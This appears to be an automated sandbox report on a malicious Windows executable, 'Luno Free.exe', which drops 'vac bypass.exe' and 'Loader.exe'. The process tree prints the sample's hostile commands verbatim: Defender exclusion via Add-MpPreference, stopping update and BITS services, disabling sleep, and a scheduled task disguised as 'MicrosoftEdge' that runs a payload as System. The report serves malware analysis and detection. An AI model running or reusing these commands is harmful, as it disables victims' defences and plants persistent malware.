a4175b96d8bcc050a58aa9cd85b2d5b01317df61034a4d495a049669ae77cea5

Analysis

max time kernel
10s
max time network
156s
platform
windows10-2004_x64
resource
win10v2004-20240426-en
resource tags

arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system
submitted
05/06/2024, 13:09

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Luno Free.exe
Size 8.6MB
Sample240605-qdvcmaha69
SHA256 a4175b96d8bcc050a58aa9cd85b2d5b01317df61034a4d495a049669ae77cea5
MD5 f24a80bbac79705fe5d91239e331736f
SHA1 48937e477adee2a6b35fa6047f3e5ba08b5de1e8
SHA512 b8dd21332d5d78be32711027d7248b035040eb544f773e5739d3f301d947ea612ce8c89b54d7692315ae88a89c44aad926e5877e16b1a714a9999b670903abd7
SSDEEP 196608:c0wcMnhUJYMTlpS5jUm7vUeJEZxikLfZaxdWjOFJu:c0wGYMh05Qm7vJkVLwxd/FJ
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

evasion execution

Malware Config

Signatures

Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

description	pid	Process	procid_target
PID 2752 created 3380	2752	vac bypass.exe	55

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2204	powershell.exe
3892	powershell.exe

Stops running service(s) 4 TTPs
evasion execution

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Service Execution
T1569.002

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\International\Geo\Nation	Luno Free.exe

Executes dropped EXE 2 IoCs

pid	Process
2752	vac bypass.exe
1052	Loader.exe

Loads dropped DLL 1 IoCs

pid	Process
1052	Loader.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4512	Luno Free.exe

Launches sc.exe 10 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
5024	sc.exe
3080	sc.exe
1956	sc.exe
2788	sc.exe
4308	sc.exe
1488	sc.exe
4456	sc.exe
3944	sc.exe
4520	sc.exe
2460	sc.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
4512	Luno Free.exe
4512	Luno Free.exe
2752	vac bypass.exe
2752	vac bypass.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4512	Luno Free.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4512 wrote to memory of 2752	4512	Luno Free.exe	85
PID 4512 wrote to memory of 2752	4512	Luno Free.exe	85
PID 4512 wrote to memory of 1052	4512	Luno Free.exe	86
PID 4512 wrote to memory of 1052	4512	Luno Free.exe	86

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
PID:3380
- C:\Users\Admin\AppData\Local\Temp\Luno Free.exe
  "C:\Users\Admin\AppData\Local\Temp\Luno Free.exe"
  2⤵
  - Checks computer location settings
  - Suspicious use of NtSetInformationThreadHideFromDebugger
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4512
- - C:\Users\Admin\AppData\Local\Temp\vac bypass.exe
    "C:\Users\Admin\AppData\Local\Temp\vac bypass.exe"
    3⤵
    - Suspicious use of NtCreateUserProcessOtherParentProcess
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    PID:2752
- - C:\Users\Admin\AppData\Local\Temp\Loader.exe
    "C:\Users\Admin\AppData\Local\Temp\Loader.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    PID:1052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:2204
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:4188
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:2460
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:1956
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:3080
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:5024
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:4456
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:4716
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:372
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1168
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:4112
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:5096
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:4692
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:1492
- C:\Windows\System32\schtasks.exe
  C:\Windows\System32\schtasks.exe /run /tn "MicrosoftEdge"
  2⤵
  PID:892
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  PID:3892
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc
  2⤵
  PID:1448
- - C:\Windows\System32\sc.exe
    sc stop UsoSvc
    3⤵
    - Launches sc.exe
    PID:1488
- - C:\Windows\System32\sc.exe
    sc stop WaaSMedicSvc
    3⤵
    - Launches sc.exe
    PID:4308
- - C:\Windows\System32\sc.exe
    sc stop wuauserv
    3⤵
    - Launches sc.exe
    PID:4520
- - C:\Windows\System32\sc.exe
    sc stop bits
    3⤵
    - Launches sc.exe
    PID:3944
- - C:\Windows\System32\sc.exe
    sc stop dosvc
    3⤵
    - Launches sc.exe
    PID:2788
- C:\Windows\System32\cmd.exe
  C:\Windows\System32\cmd.exe /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
  2⤵
  PID:1184
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-ac 0
    3⤵
    PID:3132
- - C:\Windows\System32\powercfg.exe
    powercfg /x -hibernate-timeout-dc 0
    3⤵
    PID:1772
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-ac 0
    3⤵
    PID:116
- - C:\Windows\System32\powercfg.exe
    powercfg /x -standby-timeout-dc 0
    3⤵
    PID:4116
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:3348
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#lfvbfbo#> IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'MicrosoftEdge' /tr '''C:\Program Files\Microsoft\Edge\updater.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Microsoft\Edge\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'MicrosoftEdge' -User 'System' -RunLevel 'Highest' -Force; }
  2⤵
  PID:2024
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:4532
- C:\Windows\System32\dialer.exe
  C:\Windows\System32\dialer.exe
  2⤵
  PID:2620

C:\Program Files\Microsoft\Edge\updater.exe
"C:\Program Files\Microsoft\Edge\updater.exe"
1⤵
PID:4316

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 f97ff12a8abf4bf88bb6497bd2ac2da12628c8847a8ba5a9026bdbb76507cdfb
MD5 77d622bb1a5b250869a3238b9bc1402b
SHA1 d47f4003c2554b9dfc4c16f22460b331886b191b
SHA512 d6789b5499f23c9035375a102271e17a8a82e57d6f5312fa24242e08a83efdeb8becb7622f55c4cf1b89c7d864b445df11f4d994cf7e2f87a900535bcca12fd9
MD5 SHA1 SHA512

Submit Download

Loader.exe

Path C:\Users\Admin\AppData\Local\Temp\Loader.exe
Size 1000KB
SHA256 64d924559c4feeb520392272ff902286f0ac2fe3a52672c3a4f848b67de6808c
MD5 747d5d6416387edbd785a98634eec7d2
SHA1 ed611669952c3e11d57617e0a4e964bc6c4d6813
SHA512 a23f8e7793a21ab7baf82156c313fc5619006ccbe3d153a5ce54aaa2b68c1af1b8d103c61f2d63b0a0c52680fdfac70eda526045bfff24ed849f7446a155f853
SSDEEP 24576:clD6hmlIxyB1ky+BZbvolqOFmAQrav0dJQhln:csN4BKy+BZroU1AQOv0oln
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_wrlrnthb.tk0.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_wrlrnthb.tk0.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

libcurl.dll

Path C:\Users\Admin\AppData\Local\Temp\libcurl.dll
Size 357KB
SHA256 3f8da5d739115b83063d1b10675a2c0d3ed0e9df1f3a919da35915351c437c12
MD5 94f86810eb79615f97d72d8ad02898e1
SHA1 e7049e4f0d1e119401b38b9dcbf3ca9d6e4658f8
SHA512 42ed49c66b823bbd5115bdf5395dc79d70c6bcc7313fbc1ce08280a0a2b77bea6fbddddde79e32d5bbf2f2ab4b72d7d0a4eccfc3cb9f08f067ceace2527f19d8
SSDEEP 6144:O8I388llM52ef90EyNjVPS7ZOAGB+Glo+PpfC3c1Ch38lzqRj+h:lL8llA0EMVkUl/51Chwz84
MD5 SHA1 SHA512 SSDEEP

Submit Download

vac bypass.exe

Path C:\Users\Admin\AppData\Local\Temp\vac bypass.exe
Size 5.7MB
SHA256 39ebcdbb6993787be2ed9d2b6668b9ee2707ca483a66b51d1302bfc610ba021b
MD5 8cd62e3ece85c4c3e9f6f7c816256adf
SHA1 9712769be3f755c5ecbe68d38800a3a8ecdaf324
SHA512 a0aa9f0e6542c526fc18d48ab945d8be3245900381c9640f6e122a633a15dd9a9364bacd830fbc588a926ebef8240300c1fbf4211eae600cff8b7e2c63613501
SSDEEP 98304:mqH5yorsiuEImTRqgWj/PDDKlATbRsk7YAChRmaUKIJT:mq9r+EIWkj3DDKaxJQRm5LJT
MD5 SHA1 SHA512 SSDEEP

Submit Download

7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776

Path C:\Windows\system32\config\systemprofile\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776
Size 404B
SHA256 a0ffa451532f9473c97d9f104ea36a65c63f6c694a53e0663b7b881bdeeda075
MD5 9cf09e4ba8d8f88daf904e1b1c2d959a
SHA1 efbd62b94322ac9f8bb5c563ff8d34a34db955da
SHA512 0748669804f96a4f61182a25dc98365b975f690800f28f849819a3547bbdcd4835c0493958c57ba770a1f2c71aeb16d6b5a93a15fcb5335efedf99a0e9f21702
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

Submit Download

memory/432-70-0x0000018BFDB90000-0x0000018BFDBB7000-memory.dmp

Download

memory/432-71-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/620-54-0x0000016153850000-0x0000016153877000-memory.dmp

Download

memory/620-55-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/620-53-0x0000016153430000-0x0000016153451000-memory.dmp

Download

memory/680-59-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/680-58-0x0000021DC7270000-0x0000021DC7297000-memory.dmp

Download

memory/872-78-0x0000015FA0330000-0x0000015FA0357000-memory.dmp

Download

memory/872-79-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/964-66-0x000001D8B23C0000-0x000001D8B23E7000-memory.dmp

Download

memory/964-67-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/1020-63-0x0000029E38390000-0x0000029E383B7000-memory.dmp

Download

memory/1020-64-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/1108-81-0x000001F6623D0000-0x000001F6623F7000-memory.dmp

Download

memory/1108-82-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/1144-84-0x00000170499D0000-0x00000170499F7000-memory.dmp

Download

memory/1144-85-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/1152-87-0x000001AFA6CC0000-0x000001AFA6CE7000-memory.dmp

Download

memory/1152-88-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/1160-90-0x000001DB3D6F0000-0x000001DB3D717000-memory.dmp

Download

memory/1160-91-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/1264-95-0x0000021B2F160000-0x0000021B2F187000-memory.dmp

Download

memory/1264-96-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/1292-98-0x000001BEB9360000-0x000001BEB9387000-memory.dmp

Download

memory/1292-99-0x00007FFBD2710000-0x00007FFBD2720000-memory.dmp

Download

memory/2204-32-0x000002382CD90000-0x000002382CDB2000-memory.dmp

Download

memory/2204-26-0x00007FFBF3753000-0x00007FFBF3755000-memory.dmp

Download

memory/2752-25-0x00007FF7CC440000-0x00007FF7CCA05000-memory.dmp

Download

memory/3892-351-0x0000027549500000-0x000002754950A000-memory.dmp

Download

memory/3892-352-0x0000027549560000-0x000002754957A000-memory.dmp

Download

memory/3892-348-0x0000027549300000-0x00000275493B5000-memory.dmp

Download

memory/3892-347-0x00000275492E0000-0x00000275492FC000-memory.dmp

Download

memory/3892-349-0x00000275492D0000-0x00000275492DA000-memory.dmp

Download

memory/3892-350-0x0000027549520000-0x000002754953C000-memory.dmp

Download

memory/3892-355-0x0000027549550000-0x000002754955A000-memory.dmp

Download

memory/3892-353-0x0000027549510000-0x0000027549518000-memory.dmp

Download

memory/3892-354-0x0000027549540000-0x0000027549546000-memory.dmp

Download

memory/4512-21-0x0000000000400000-0x0000000000EEE000-memory.dmp

Download

memory/4512-0-0x0000000000400000-0x0000000000EEE000-memory.dmp

Download

memory/4512-1-0x0000000000400000-0x0000000000EEE000-memory.dmp

Download

memory/4692-41-0x00007FFC11F60000-0x00007FFC1201E000-memory.dmp

Download

memory/4692-40-0x00007FFC12690000-0x00007FFC12885000-memory.dmp

Download